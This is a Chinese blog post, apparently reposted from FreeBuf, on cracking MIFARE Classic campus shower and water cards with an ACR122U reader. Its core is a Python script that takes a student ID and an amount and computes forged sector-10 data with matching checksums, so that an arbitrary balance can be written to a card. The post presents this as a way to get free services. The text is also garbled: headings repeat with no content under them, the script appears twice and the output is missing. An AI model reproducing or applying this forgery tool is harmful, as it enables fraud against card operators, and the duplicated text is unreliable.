M1卡(洗澡卡、开水卡,健身卡,饭卡)破解历程,学会这个今后还怕没饭吃?
又经过了一个寒假的纠结,终于决定入手了ACR122U,只是到手后机器看上去确实感觉比¥180要廉价,看图就明白了:
0×01密钥的获取&可行性分析
??楼上几位大牛的M1卡的密钥破解过程非常详细,我写不出那么细致的文字,就在此略过吧。??
0×02开水卡数据的分析
0×02 洗澡卡数据的分析
0×03 洗澡卡数据的伪造
0×04 交给电脑完成计算
这么坑爹的计算方法要是拿计算器按,再一个个填入MCT,浪费时间不说还容易算错。??
??于是打算交给电脑,自己只会vf(这个貌似帮不到忙),c语言(进行十六进制计算不方便)??
??然后百度了下最近眼熟的python,居然还有hex()函数,哈哈,现学现用啦。??
这么坑爹的计算方法要是拿计算器按,再一个个填入MCT,浪费时间不说还容易算错。
于是打算交给电脑,自己只会vf(这个貌似帮不到忙),c语言(进行十六进制计算不方便)
然后百度了下最近眼熟的python,居然还有hex()函数,哈哈,现学现用啦。
第一次写python,for的用法还不熟,不会直接输出十六进制字符串,大牛们表喷,嘿嘿:
# coding: utf-8
A4 = A7 = A8 = A12 = A14 = "00"; A11 = "02";
a11 = 0x02;
a6 = 0x4b;
IDnM = raw_input("请输入学号与金额(例如:01 200):");
ID = IDnM [0:2];
Money = IDnM [3:]+"00"; #字符
Decmoney = int(Money,10); #十进制
Hexmoney = hex(Decmoney);
a2 = int(Hexmoney[4:6],16); #十六进制
a3 = int(Hexmoney[2:4],16); #十六进制
a1 = a2 + a3;
a5 = a1 ^ 0xff;
if a1 > 0xff: #A1此时验证是否大于0xFF
a10 = 0xfe;
a15 = 0x2ff - a1 - a6 - a10; #A15校验位
else: #A1此时验证是否小于0xFF
a10 = 0xec;
a15 = 0x1ff - a1 - a6 - a10; #A15校验位
a0 = a2 ^ a3 ^ a6 ^ a10 ^ a11; #A0校验位
a9 = a10 + a11;
a13 = a9 ^ 0xff;
print ID, "号当前金额为",IDnM [3:],"元";
print "10扇区对应数据为:";
A0 = hex(a0)[len(hex(a0))-2:];
A1 = hex(a1)[len(hex(a1))-2:];
A2 = hex(a2)[len(hex(a2))-2:];
A3 = hex(a3)[len(hex(a3))-2:];
A5 = hex(a5)[len(hex(a5))-2:];
A6 = hex(a6)[len(hex(a6))-2:];
A9 = hex(a9)[len(hex(a9))-2:];
A10 = hex(a10)[len(hex(a10))-2:];
A11 = "02";
A13 = hex(a13)[len(hex(a13))-2:];
A15 = hex(a15)[len(hex(a15))-2:];
data = A0+A1+A2+A3+A4+A5+A6+A7+A8+A9+A10+A11+A12+A13+A14+A15;
data=data.replace("x","0").upper();
print data;
f = open("card.txt","w"); #将数据写入同目录下的data.txt
print >>f,data;
f.close();
raw_input("输入回车键退出");
输入01 600,得到数据
0×05 后记
又经过了一个寒假的纠结,终于决定入手了ACR122U,只是到手后机器看上去确实感觉比¥180要廉价,看图就明白了:
0×01密钥的获取&可行性分析
??楼上几位大牛的M1卡的密钥破解过程非常详细,我写不出那么细致的文字,就在此略过吧。??
0×02开水卡数据的分析
0×02 洗澡卡数据的分析
0×03 洗澡卡数据的伪造
0×04 交给电脑完成计算
这么坑爹的计算方法要是拿计算器按,再一个个填入MCT,浪费时间不说还容易算错。??
??于是打算交给电脑,自己只会vf(这个貌似帮不到忙),c语言(进行十六进制计算不方便)??
??然后百度了下最近眼熟的python,居然还有hex()函数,哈哈,现学现用啦。??
0×04 交给电脑完成计算
这么坑爹的计算方法要是拿计算器按,再一个个填入MCT,浪费时间不说还容易算错。
于是打算交给电脑,自己只会vf(这个貌似帮不到忙),c语言(进行十六进制计算不方便)
然后百度了下最近眼熟的python,居然还有hex()函数,哈哈,现学现用啦。
0×04 交给电脑完成计算这么坑爹的计算方法要是拿计算器按,再一个个填入MCT,浪费时间不说还容易算错。
于是打算交给电脑,自己只会vf(这个貌似帮不到忙),c语言(进行十六进制计算不方便)
然后百度了下最近眼熟的python,居然还有hex()函数,哈哈,现学现用啦。
第一次写python,for的用法还不熟,不会直接输出十六进制字符串,大牛们表喷,嘿嘿:
# coding: utf-8
A4 = A7 = A8 = A12 = A14 = "00"; A11 = "02";
a11 = 0x02;
a6 = 0x4b;
IDnM = raw_input("请输入学号与金额(例如:01 200):");
ID = IDnM [0:2];
Money = IDnM [3:]+"00"; #字符
Decmoney = int(Money,10); #十进制
Hexmoney = hex(Decmoney);
a2 = int(Hexmoney[4:6],16); #十六进制
a3 = int(Hexmoney[2:4],16); #十六进制
a1 = a2 + a3;
a5 = a1 ^ 0xff;
if a1 > 0xff: #A1此时验证是否大于0xFF
a10 = 0xfe;
a15 = 0x2ff - a1 - a6 - a10; #A15校验位
else: #A1此时验证是否小于0xFF
a10 = 0xec;
a15 = 0x1ff - a1 - a6 - a10; #A15校验位
a0 = a2 ^ a3 ^ a6 ^ a10 ^ a11; #A0校验位
a9 = a10 + a11;
a13 = a9 ^ 0xff;
print ID, "号当前金额为",IDnM [3:],"元";
print "10扇区对应数据为:";
A0 = hex(a0)[len(hex(a0))-2:];
A1 = hex(a1)[len(hex(a1))-2:];
A2 = hex(a2)[len(hex(a2))-2:];
A3 = hex(a3)[len(hex(a3))-2:];
A5 = hex(a5)[len(hex(a5))-2:];
A6 = hex(a6)[len(hex(a6))-2:];
A9 = hex(a9)[len(hex(a9))-2:];
A10 = hex(a10)[len(hex(a10))-2:];
A11 = "02";
A13 = hex(a13)[len(hex(a13))-2:];
A15 = hex(a15)[len(hex(a15))-2:];
data = A0+A1+A2+A3+A4+A5+A6+A7+A8+A9+A10+A11+A12+A13+A14+A15;
data=data.replace("x","0").upper();
print data;
f = open("card.txt","w"); #将数据写入同目录下的data.txt
print >>f,data;
f.close();
raw_input("输入回车键退出");
输入01 600,得到数据
0×05 后记
[作者/坂田银时,来源 Freebuf]